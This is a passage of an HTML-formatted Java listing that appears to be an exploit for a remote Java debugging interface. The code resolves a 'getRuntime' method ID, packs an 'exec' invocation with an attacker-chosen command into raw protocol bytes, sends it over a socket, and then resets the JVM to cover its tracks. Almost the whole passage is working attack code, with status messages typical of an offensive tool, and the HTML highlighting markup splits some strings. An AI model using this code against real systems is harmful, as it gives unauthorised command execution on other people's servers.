#0000cc">)</SPAN> 0x75<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x6e<SPAN style="COLOR: #0000cc">,</SPAN> <BR><BR>082 <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x74<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x69<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x6d<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x65<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <BR><BR>083 <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00 <BR><BR>084 }<SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>085 <BR><BR>086 <SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">[</SPAN><SPAN style="COLOR: #0000cc">]</SPAN> idMet <SPAN style="COLOR: #0000cc">=</SPAN> new <SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">[</SPAN>4<SPAN style="COLOR: #0000cc">]</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>087 System<SPAN style="COLOR: #0000cc">.</SPAN>arraycopy<SPAN style="COLOR: #0000cc">(</SPAN>sendData<SPAN style="COLOR: #0000cc">(</SPAN>getRuntime<SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">,</SPAN> 5<SPAN style="COLOR: #0000cc">,</SPAN> idMet<SPAN style="COLOR: #0000cc">,</SPAN> 0<SPAN style="COLOR: #0000cc">,</SPAN> 4<SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>088 System<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #0000ff">out</SPAN><SPAN style="COLOR: #0000cc">.</SPAN>println<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff00ff">" [-] Method ID: 0x"</SPAN> <SPAN style="COLOR: #0000cc">+</SPAN> getHex<SPAN style="COLOR: #0000cc">(</SPAN>idMet<SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>089 <BR><BR>090 System<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #0000ff">out</SPAN><SPAN style="COLOR: #0000cc">.</SPAN>println<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff00ff">"[*] Invoking method \"</SPAN>exec<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">\</SPAN><SPAN style="COLOR: #ff00ff">" with parameter \"</SPAN><SPAN style="COLOR: #ff00ff">" + this.cmd + "</SPAN><SPAN style="COLOR: #ff00ff">\</SPAN><SPAN style="COLOR: #ff00ff">""</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>091 <SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">[</SPAN><SPAN style="COLOR: #0000cc">]</SPAN> exec <SPAN style="COLOR: #0000cc">=</SPAN> new <SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">[</SPAN><SPAN style="COLOR: #0000cc">]</SPAN><SPAN style="COLOR: #0000cc">{</SPAN> <BR><BR>092 //$getRuntime<SPAN style="COLOR: #0000cc">-</SPAN><SPAN style="COLOR: #0000cc">&gt;</SPAN>exec<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff00ff">"&lt;SYSTEM cmd="</SPAN><SPAN style="COLOR: #ff00ff">"&gt;"</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>093 idMet<SPAN style="COLOR: #0000cc">[</SPAN>0<SPAN style="COLOR: #0000cc">]</SPAN><SPAN style="COLOR: #0000cc">,</SPAN> idMet<SPAN style="COLOR: #0000cc">[</SPAN>1<SPAN style="COLOR: #0000cc">]</SPAN><SPAN style="COLOR: #0000cc">,</SPAN> idMet<SPAN style="COLOR: #0000cc">[</SPAN>2<SPAN style="COLOR: #0000cc">]</SPAN><SPAN style="COLOR: #0000cc">,</SPAN> idMet<SPAN style="COLOR: #0000cc">[</SPAN>3<SPAN style="COLOR: #0000cc">]</SPAN><SPAN style="COLOR: #0000cc">,</SPAN> //Method ID <BR><BR>094 <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x04<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x65<SPAN style="COLOR: #0000cc">,</SPAN> <BR><BR>095 <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x78<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x65<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x63<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <BR><BR>096 <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x01<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x04<SPAN style="COLOR: #0000cc">,</SPAN><SPAN style="COLOR: #0000cc">}</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>097 <BR><BR>098 <SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">[</SPAN><SPAN style="COLOR: #0000cc">]</SPAN> cmd <SPAN style="COLOR: #0000cc">=</SPAN> <SPAN style="COLOR: #0000ff">this</SPAN><SPAN style="COLOR: #0000cc">.</SPAN>cmd<SPAN style="COLOR: #0000cc">.</SPAN>getBytes<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>099 <SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">[</SPAN><SPAN style="COLOR: #0000cc">]</SPAN> cmdSize <SPAN style="COLOR: #0000cc">=</SPAN> intToByteArray<SPAN style="COLOR: #0000cc">(</SPAN>cmd<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #0000ff">length</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>100 <SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">[</SPAN><SPAN style="COLOR: #0000cc">]</SPAN> payloadSize <SPAN style="COLOR: #0000cc">=</SPAN> intToByteArray<SPAN style="COLOR: #0000cc">(</SPAN>cmd<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #0000ff">length</SPAN> <SPAN style="COLOR: #0000cc">+</SPAN> 21<SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>101 System<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #0000ff">out</SPAN><SPAN style="COLOR: #0000cc">.</SPAN>println<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff00ff">" [-] Payload size: 0x"</SPAN> <SPAN style="COLOR: #0000cc">+</SPAN> getHex<SPAN style="COLOR: #0000cc">(</SPAN>payloadSize<SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>102 System<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #0000ff">out</SPAN><SPAN style="COLOR: #0000cc">.</SPAN>println<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff00ff">" [-] Command size: 0x"</SPAN> <SPAN style="COLOR: #0000cc">+</SPAN> getHex<SPAN style="COLOR: #0000cc">(</SPAN>cmdSize<SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>103 <BR><BR>104 //payload <SPAN style="COLOR: #0000cc">=</SPAN> payloadSize <SPAN style="COLOR: #0000cc">+</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN>methodId <SPAN style="COLOR: #0000cc">+</SPAN> staticStr<SPAN style="COLOR: #0000cc">)</SPAN> <SPAN style="COLOR: #0000cc">+</SPAN> cmdSize <SPAN style="COLOR: #0000cc">+</SPAN> cmd <BR><BR>105 <SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">[</SPAN><SPAN style="COLOR: #0000cc">]</SPAN> payload <SPAN style="COLOR: #0000cc">=</SPAN> new <SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">[</SPAN>4 <SPAN style="COLOR: #0000cc">+</SPAN> exec<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #0000ff">length</SPAN> <SPAN style="COLOR: #0000cc">+</SPAN> 4 <SPAN style="COLOR: #0000cc">+</SPAN> cmd<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #0000ff">length</SPAN><SPAN style="COLOR: #0000cc">]</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>106 System<SPAN style="COLOR: #0000cc">.</SPAN>arraycopy<SPAN style="COLOR: #0000cc">(</SPAN>payloadSize<SPAN style="COLOR: #0000cc">,</SPAN> 0<SPAN style="COLOR: #0000cc">,</SPAN> payload<SPAN style="COLOR: #0000cc">,</SPAN> 0<SPAN style="COLOR: #0000cc">,</SPAN> 4<SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>107 System<SPAN style="COLOR: #0000cc">.</SPAN>arraycopy<SPAN style="COLOR: #0000cc">(</SPAN>exec<SPAN style="COLOR: #0000cc">,</SPAN> 0<SPAN style="COLOR: #0000cc">,</SPAN> payload<SPAN style="COLOR: #0000cc">,</SPAN> 4<SPAN style="COLOR: #0000cc">,</SPAN> exec<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #0000ff">length</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>108 System<SPAN style="COLOR: #0000cc">.</SPAN>arraycopy<SPAN style="COLOR: #0000cc">(</SPAN>cmdSize<SPAN style="COLOR: #0000cc">,</SPAN> 0<SPAN style="COLOR: #0000cc">,</SPAN> payload<SPAN style="COLOR: #0000cc">,</SPAN> exec<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #0000ff">length</SPAN> <SPAN style="COLOR: #0000cc">+</SPAN> 4<SPAN style="COLOR: #0000cc">,</SPAN> 4<SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>109 System<SPAN style="COLOR: #0000cc">.</SPAN>arraycopy<SPAN style="COLOR: #0000cc">(</SPAN>cmd<SPAN style="COLOR: #0000cc">,</SPAN> 0<SPAN style="COLOR: #0000cc">,</SPAN> payload<SPAN style="COLOR: #0000cc">,</SPAN> 4 <SPAN style="COLOR: #0000cc">+</SPAN> exec<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #0000ff">length</SPAN> <SPAN style="COLOR: #0000cc">+</SPAN> 4<SPAN style="COLOR: #0000cc">,</SPAN> cmd<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #0000ff">length</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>110 System<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #0000ff">out</SPAN><SPAN style="COLOR: #0000cc">.</SPAN>println<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff00ff">" [-] Payload: 0x"</SPAN> <SPAN style="COLOR: #0000cc">+</SPAN> getHex<SPAN style="COLOR: #0000cc">(</SPAN>payload<SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>111 <BR><BR>112 <SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">[</SPAN><SPAN style="COLOR: #0000cc">]</SPAN> execReply <SPAN style="COLOR: #0000cc">=</SPAN> sendData<SPAN style="COLOR: #0000cc">(</SPAN>payload<SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>113 <BR><BR>114 System<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #0000ff">out</SPAN><SPAN style="COLOR: #0000cc">.</SPAN>println<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff00ff">"[*] Cleaning up the JVM"</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>115 <SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">[</SPAN><SPAN style="COLOR: #0000cc">]</SPAN> reset <SPAN style="COLOR: #0000cc">=</SPAN> new <SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">[</SPAN><SPAN style="COLOR: #0000cc">]</SPAN><SPAN style="COLOR: #0000cc">{</SPAN> <BR><BR>116 //Reset <BR><BR>117 <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x11<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0xff<SPAN style="COLOR: #0000cc">,</SPAN> <BR><BR>118 <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0xff<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0xff<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0xff<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <BR><BR>119 <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x05<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x72<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x65<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x73<SPAN style="COLOR: #0000cc">,</SPAN> <BR><BR>120 <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x65<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x74<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <BR><BR>121 <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00 <BR><BR>122 }<SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>123 sendData<SPAN style="COLOR: #0000cc">(</SPAN>reset<SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>124 <BR><BR>125 //Check the response <SPAN style="COLOR: #0000ff">type</SPAN> <SPAN style="COLOR: #ff0000">of</SPAN> the exec invocation <BR><BR>126 <SPAN style="COLOR: #0000ff">if</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN>execReply<SPAN style="COLOR: #0000cc">[</SPAN>3<SPAN style="COLOR: #0000cc">]</SPAN> <SPAN style="COLOR: #0000cc">=</SPAN><SPAN style="COLOR: #0000cc">=</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x05 &amp;&amp; execReply<SPAN style="COLOR: #0000cc">[</SPAN>4<SPAN style="COLOR: #0000cc">]</SPAN> <SPAN style="COLOR: #0000cc">=</SPAN><SPAN style="COLOR: #0000cc">=</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x05<SPAN style="COLOR: #0000cc">)</SPAN> { <BR><BR>127 return true<SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>128 } <SPAN style="COLOR: #0000ff">else</SPAN> { <BR><BR>129 return false<SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>130 } <BR><BR>131 } <BR><BR>132 <BR><BR>133 private static String getHex<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">[</SPAN><SPAN style="COLOR: #0000cc">]</SPAN> raw<SPAN style="COLOR: #0000cc">)</SPAN> { <BR><BR>134 final String HEXES <SPAN style="COLOR: #0000cc">=</SPAN> <SPAN style="COLOR: #ff00ff">"0123456789ABCDEF"</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>135 <SPAN style="COLOR: #0000ff">if</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN>raw <SPAN style="COLOR: #0000cc">=</SPAN><SPAN style="COLOR: #0000cc">=</SPAN> null<SPAN style="COLOR: #0000cc">)</SPAN> { <BR><BR>136 return null<SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>137 } <BR><BR>138 final StringBuilder hex <SPAN style="COLOR: #0000cc">=</SPAN> new StringBuilder<SPAN style="COLOR: #0000cc">(</SPAN>2 <SPAN style="COLOR: #0000cc">*</SPAN> raw<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #0000ff">length</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>139 <SPAN style="COLOR: #0000ff">for</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN>final <SPAN style="COLOR: #ff0000">byte</SPAN> b <SPAN style="COLOR: #0000cc">:</SPAN> raw<SPAN style="COLOR: #0000cc">)</SPAN> { <BR><BR>140 hex<SPAN style="COLOR: #0000cc">.</SPAN>append<SPAN style="COLOR: #0000cc">(</SPAN>HEXES<SPAN style="COLOR: #0000cc">.</SPAN>charAt<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #0000cc">(</SPAN>b &amp; 0xF0<SPAN style="COLOR: #0000cc">)</SPAN> <SPAN style="COLOR: #0000cc">&gt;</SPAN><SPAN style="COLOR: #0000cc">&gt;</SPAN> 4<SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">.</SPAN>append<SPAN style="COLOR: #0000cc">(</SPAN>HEXES<SPAN style="COLOR: #0000cc">.</SPAN>charAt<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #0000cc">(</SPAN>b &amp; 0x0F<SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>141 } <BR><BR>142 return hex<SPAN style="COLOR: #0000cc">.</SPAN>toString<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>143 } <BR><BR>144 <BR><BR>145 private static <SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">[</SPAN><SPAN style="COLOR: #0000cc">]</SPAN> intToByteArray<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #0000ff">int</SPAN> value<SPAN style="COLOR: #0000cc">)</SPAN> { <BR><BR>146 <SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">[</SPAN><SPAN style="COLOR: #0000cc">]</SPAN> b <SPAN style="COLOR: #0000cc">=</SPAN> new <SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">[</SPAN>4<SPAN style="COLOR: #0000cc">]</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>147 <SPAN style="COLOR: #0000ff">for</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #0000ff">int</SPAN> i <SPAN style="COLOR: #0000cc">=</SPAN> 0<SPAN style="COLOR: #0000cc">;</SPAN> i <SPAN style="COLOR: #0000cc">&lt;</SPAN> 4<SPAN style="COLOR: #0000cc">;</SPAN> i<SPAN style="COLOR: #0000cc">+</SPAN><SPAN style="COLOR: #0000cc">+</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> { <BR><BR>148 <SPAN style="COLOR: #0000ff">int</SPAN> offset <SPAN style="COLOR: #0000cc">=</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN>b<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #0000ff">length</SPAN> <SPAN style="COLOR: #0000cc">-</SPAN> 1 <SPAN style="COLOR: #0000cc">-</SPAN> i<SPAN style="COLOR: #0000cc">)</SPAN> <SPAN style="COLOR: #0000cc">*</SPAN> 8<SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>149 b<SPAN style="COLOR: #0000cc">[</SPAN>i<SPAN style="COLOR: #0000cc">]</SPAN> <SPAN style="COLOR: #0000cc">=</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #0000cc">(</SPAN>value <SPAN style="COLOR: #0000cc">&gt;</SPAN><SPAN style="COLOR: #0000cc">&gt;</SPAN><SPAN style="COLOR: #0000cc">&gt;</SPAN> offset<SPAN style="COLOR: #0000cc">)</SPAN> &amp; 0xFF<SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>150 } <BR><BR>151 return b<SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>152 } <BR><BR>153 <BR><BR>154 private <SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">[</SPAN><SPAN style="COLOR: #0000cc">]</SPAN> sendData<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">[</SPAN><SPAN style="COLOR: #0000cc">]</SPAN> data<SPAN style="COLOR: #0000cc">)</SPAN> { <BR><BR>155 <BR><BR>156 <SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">[</SPAN><SPAN style="COLOR: #0000cc">]</SPAN> reply <SPAN style="COLOR: #0000cc">=</SPAN> new <SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">[</SPAN>9<SPAN style="COLOR: #0000cc">]</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>157 <BR><BR>158 try { <BR><BR>159 DataOutputStream os <SPAN style="COLOR: #0000cc">=</SPAN> new DataOutputStream<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #0000ff">this</SPAN><SPAN style="COLOR: #0000cc">.</SPAN>socket<SPAN style="COLOR: #0000cc">.</SPAN>getOutputStream<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>160 DataInputStream is <SPAN style="COLOR: #0000cc">=</SPAN> new DataInputStream<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #0000ff">this</SPAN><SPAN style="COLOR: #0000cc">.</SPAN>socket<SPAN style="COLOR: #0000cc">.</SPAN>getInputStream<SPAN style="COLOR: 